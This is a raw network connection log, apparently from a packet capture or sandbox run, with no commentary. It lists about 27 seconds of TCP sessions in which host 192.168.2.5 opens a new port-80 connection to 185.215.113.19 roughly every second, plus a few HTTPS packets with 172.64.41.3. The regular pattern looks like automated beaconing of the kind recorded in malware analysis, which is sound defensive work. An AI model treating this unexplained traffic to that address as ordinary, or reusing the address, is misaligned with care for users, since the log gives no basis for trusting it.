Sep 1, 2024 01:30:30.616261005 CEST	49774	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:30.621037006 CEST	80	49774	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:30.861403942 CEST	80	49774	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:30.862907887 CEST	49774	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:31.020780087 CEST	49774	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:31.021658897 CEST	49775	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:31.026406050 CEST	80	49774	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:31.026465893 CEST	49774	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:31.027292013 CEST	80	49775	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:31.027383089 CEST	49775	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:31.028043032 CEST	49775	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:31.033377886 CEST	80	49775	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:31.775496960 CEST	80	49775	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:31.775568962 CEST	49775	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:31.790358067 CEST	49775	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:31.795144081 CEST	80	49775	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:32.040868998 CEST	80	49775	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:32.041115046 CEST	49775	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:32.151968956 CEST	49775	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:32.152138948 CEST	49776	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:32.156908989 CEST	80	49776	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:32.156984091 CEST	49776	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:32.157092094 CEST	49776	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:32.157172918 CEST	80	49775	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:32.157228947 CEST	49775	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:32.161864996 CEST	80	49776	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:32.903084040 CEST	80	49776	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:32.906933069 CEST	49776	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:32.907541037 CEST	49776	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:32.912494898 CEST	80	49776	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:33.154469967 CEST	80	49776	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:33.154937983 CEST	49776	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:33.274058104 CEST	49776	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:33.274259090 CEST	49777	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:33.279082060 CEST	80	49777	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:33.279279947 CEST	49777	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:33.279361963 CEST	80	49776	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:33.279427052 CEST	49777	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:33.279453993 CEST	49776	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:33.284157038 CEST	80	49777	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:34.027693987 CEST	80	49777	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:34.027780056 CEST	49777	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:34.030440092 CEST	49777	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:34.035253048 CEST	80	49777	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:34.328649044 CEST	80	49777	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:34.328907967 CEST	49777	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:34.432754040 CEST	49777	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:34.433175087 CEST	49778	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:34.437866926 CEST	80	49777	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:34.438041925 CEST	49777	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:34.438101053 CEST	80	49778	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:34.438159943 CEST	49778	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:34.438256979 CEST	49778	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:34.442979097 CEST	80	49778	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:35.174907923 CEST	80	49778	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:35.174993038 CEST	49778	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:35.175677061 CEST	49778	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:35.186122894 CEST	80	49778	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:35.427834988 CEST	80	49778	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:35.427946091 CEST	49778	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:35.542113066 CEST	49778	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:35.542428017 CEST	49779	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:35.547246933 CEST	80	49779	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:35.547287941 CEST	80	49778	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:35.547333956 CEST	49779	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:35.547365904 CEST	49778	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:35.547482967 CEST	49779	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:35.552174091 CEST	80	49779	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:36.309258938 CEST	80	49779	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:36.309473991 CEST	49779	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:36.310195923 CEST	49779	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:36.314990044 CEST	80	49779	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:36.568820953 CEST	80	49779	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:36.568878889 CEST	49779	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:36.682672024 CEST	49779	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:36.682988882 CEST	49780	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:36.688004971 CEST	80	49779	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:36.688018084 CEST	80	49780	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:36.688066959 CEST	49779	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:36.688103914 CEST	49780	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:36.688268900 CEST	49780	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:36.693140984 CEST	80	49780	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:36.949150085 CEST	443	49759	172.64.41.3	192.168.2.5
Sep 1, 2024 01:30:36.949218988 CEST	443	49759	172.64.41.3	192.168.2.5
Sep 1, 2024 01:30:36.949286938 CEST	49759	443	192.168.2.5	172.64.41.3
Sep 1, 2024 01:30:36.951292992 CEST	443	49760	172.64.41.3	192.168.2.5
Sep 1, 2024 01:30:36.951353073 CEST	443	49760	172.64.41.3	192.168.2.5
Sep 1, 2024 01:30:36.951435089 CEST	49760	443	192.168.2.5	172.64.41.3
Sep 1, 2024 01:30:37.429871082 CEST	80	49780	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:37.429965019 CEST	49780	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:37.430605888 CEST	49780	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:37.435379028 CEST	80	49780	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:37.676294088 CEST	80	49780	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:37.676505089 CEST	49780	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:37.798022032 CEST	49780	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:37.799007893 CEST	49781	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:37.803189039 CEST	80	49780	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:37.803277016 CEST	49780	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:37.803792000 CEST	80	49781	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:37.803857088 CEST	49781	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:37.803998947 CEST	49781	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:37.808716059 CEST	80	49781	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:38.561965942 CEST	80	49781	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:38.562052011 CEST	49781	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:38.699764967 CEST	49781	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:38.704687119 CEST	80	49781	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:38.948776960 CEST	80	49781	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:38.948847055 CEST	49781	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:39.061378002 CEST	49781	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:39.061743021 CEST	49782	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:39.066541910 CEST	80	49781	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:39.066555977 CEST	80	49782	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:39.066591978 CEST	49781	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:39.066636086 CEST	49782	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:39.066920996 CEST	49782	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:39.071707964 CEST	80	49782	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:39.803845882 CEST	80	49782	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:39.803934097 CEST	49782	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:39.804614067 CEST	49782	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:39.810256004 CEST	80	49782	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:40.049938917 CEST	80	49782	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:40.050062895 CEST	49782	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:40.151387930 CEST	49782	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:40.151664972 CEST	49783	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:40.156501055 CEST	80	49783	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:40.156533957 CEST	80	49782	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:40.156585932 CEST	49783	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:40.156616926 CEST	49782	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:40.156732082 CEST	49783	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:40.161545992 CEST	80	49783	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:40.924962044 CEST	80	49783	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:40.926642895 CEST	49783	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:40.927501917 CEST	49783	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:40.932296038 CEST	80	49783	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:41.217370033 CEST	80	49783	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:41.217469931 CEST	49783	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:41.323266983 CEST	49783	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:41.323555946 CEST	49784	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:41.328494072 CEST	80	49784	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:41.328551054 CEST	80	49783	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:41.328568935 CEST	49784	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:41.328618050 CEST	49783	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:41.328749895 CEST	49784	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:41.333496094 CEST	80	49784	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:42.070678949 CEST	80	49784	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:42.070744991 CEST	49784	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:42.071333885 CEST	49784	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:42.076087952 CEST	80	49784	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:42.322824001 CEST	80	49784	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:42.322916031 CEST	49784	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:42.432780981 CEST	49784	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:42.433099985 CEST	49785	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:42.438040972 CEST	80	49784	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:42.438054085 CEST	80	49785	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:42.438096046 CEST	49784	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:42.438168049 CEST	49785	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:42.438261032 CEST	49785	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:42.443022966 CEST	80	49785	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:43.185791016 CEST	80	49785	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:43.185925007 CEST	49785	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:43.196134090 CEST	49785	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:43.200973988 CEST	80	49785	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:43.440956116 CEST	80	49785	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:43.441030025 CEST	49785	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:43.544445992 CEST	49785	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:43.544773102 CEST	49786	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:43.549540997 CEST	80	49786	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:43.549633026 CEST	49786	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:43.549648046 CEST	80	49785	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:43.549696922 CEST	49785	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:43.549788952 CEST	49786	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:43.554565907 CEST	80	49786	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:44.310885906 CEST	80	49786	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:44.311028004 CEST	49786	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:44.311768055 CEST	49786	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:44.316600084 CEST	80	49786	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:44.560885906 CEST	80	49786	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:44.560952902 CEST	49786	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:44.672262907 CEST	49786	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:44.672759056 CEST	49787	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:44.677340031 CEST	80	49786	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:44.677402973 CEST	49786	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:44.677540064 CEST	80	49787	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:44.677606106 CEST	49787	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:44.677736998 CEST	49787	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:44.682440042 CEST	80	49787	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:45.422816992 CEST	80	49787	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:45.422967911 CEST	49787	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:45.423530102 CEST	49787	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:45.428272963 CEST	80	49787	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:45.669425964 CEST	80	49787	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:45.669539928 CEST	49787	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:45.839071989 CEST	49787	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:45.839416027 CEST	49788	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:45.844119072 CEST	80	49787	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:45.844188929 CEST	49787	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:45.844255924 CEST	80	49788	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:45.844330072 CEST	49788	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:45.844497919 CEST	49788	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:45.849232912 CEST	80	49788	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:46.624990940 CEST	80	49788	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:46.625155926 CEST	49788	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:46.625662088 CEST	49788	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:46.630486965 CEST	80	49788	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:46.874825001 CEST	80	49788	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:46.875014067 CEST	49788	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:46.981180906 CEST	49788	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:46.981628895 CEST	49789	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:46.986299038 CEST	80	49788	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:46.986363888 CEST	49788	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:46.986433983 CEST	80	49789	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:46.986496925 CEST	49789	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:46.986639023 CEST	49789	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:46.991416931 CEST	80	49789	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:47.742904902 CEST	80	49789	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:47.742989063 CEST	49789	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:47.743694067 CEST	49789	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:47.748440981 CEST	80	49789	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:47.992450953 CEST	80	49789	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:47.992538929 CEST	49789	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:48.128926992 CEST	49789	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:48.129256964 CEST	49790	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:48.134610891 CEST	80	49789	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:48.134630919 CEST	80	49790	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:48.134696960 CEST	49789	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:48.134735107 CEST	49790	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:48.157018900 CEST	49790	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:48.161760092 CEST	80	49790	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:48.873415947 CEST	80	49790	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:48.874881029 CEST	49790	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:48.878528118 CEST	49790	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:48.883307934 CEST	80	49790	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:49.124409914 CEST	80	49790	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:49.124507904 CEST	49790	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:49.232201099 CEST	49790	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:49.232511997 CEST	49791	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:49.237325907 CEST	80	49791	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:49.237339020 CEST	80	49790	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:49.237421036 CEST	49790	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:49.237435102 CEST	49791	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:49.239402056 CEST	49791	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:49.244143963 CEST	80	49791	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:49.980571032 CEST	80	49791	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:49.982923985 CEST	49791	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:49.995852947 CEST	49791	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:50.000747919 CEST	80	49791	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:50.242379904 CEST	80	49791	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:50.243068933 CEST	49791	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:50.355459929 CEST	49791	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:50.355770111 CEST	49792	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:50.360512018 CEST	80	49792	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:50.360662937 CEST	80	49791	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:50.360743999 CEST	49791	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:50.360752106 CEST	49792	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:50.360908985 CEST	49792	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:50.365649939 CEST	80	49792	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:51.112437963 CEST	80	49792	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:51.112503052 CEST	49792	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:51.113164902 CEST	49792	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:51.117898941 CEST	80	49792	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:51.359829903 CEST	80	49792	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:51.359895945 CEST	49792	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:51.464093924 CEST	49792	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:51.464431047 CEST	49793	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:51.469259977 CEST	80	49792	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:51.469274044 CEST	80	49793	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:51.469324112 CEST	49792	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:51.469358921 CEST	49793	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:51.469472885 CEST	49793	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:51.474172115 CEST	80	49793	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:52.230456114 CEST	80	49793	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:52.231750011 CEST	49793	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:52.232402086 CEST	49793	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:52.237195015 CEST	80	49793	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:52.484127045 CEST	80	49793	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:52.484345913 CEST	49793	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:52.590534925 CEST	49793	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:52.590821028 CEST	49794	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:52.595648050 CEST	80	49794	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:52.595727921 CEST	49794	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:52.595801115 CEST	80	49793	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:52.595844030 CEST	49793	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:52.595861912 CEST	49794	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:52.600634098 CEST	80	49794	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:53.335064888 CEST	80	49794	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:53.335124016 CEST	49794	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:53.348997116 CEST	49794	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:53.353848934 CEST	80	49794	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:53.594713926 CEST	80	49794	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:53.594791889 CEST	49794	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:53.699652910 CEST	49794	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:53.699981928 CEST	49795	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:53.704786062 CEST	80	49795	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:53.704809904 CEST	80	49794	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:53.704873085 CEST	49795	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:53.704896927 CEST	49794	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:53.705022097 CEST	49795	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:53.709741116 CEST	80	49795	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:54.461570024 CEST	80	49795	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:54.461659908 CEST	49795	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:54.462290049 CEST	49795	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:54.467065096 CEST	80	49795	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:54.712420940 CEST	80	49795	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:54.712511063 CEST	49795	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:54.824620008 CEST	49795	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:54.824942112 CEST	49796	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:54.829721928 CEST	80	49795	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:54.829746962 CEST	80	49796	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:54.829780102 CEST	49795	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:54.829833031 CEST	49796	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:54.829957008 CEST	49796	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:54.834701061 CEST	80	49796	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:55.569555998 CEST	80	49796	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:55.569639921 CEST	49796	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:55.570334911 CEST	49796	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:55.576514006 CEST	80	49796	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:55.815341949 CEST	80	49796	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:55.815401077 CEST	49796	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:55.918569088 CEST	49796	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:55.918874025 CEST	49797	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:55.923664093 CEST	80	49797	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:55.923743963 CEST	49797	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:55.923779964 CEST	80	49796	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:55.923861027 CEST	49796	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:55.924032927 CEST	49797	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:55.928805113 CEST	80	49797	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:56.673039913 CEST	80	49797	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:56.673120022 CEST	49797	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:56.673768044 CEST	49797	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:56.678549051 CEST	80	49797	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:56.918986082 CEST	80	49797	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:56.919060946 CEST	49797	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:57.026861906 CEST	49797	80	192.168.2.5	185.215.113.19
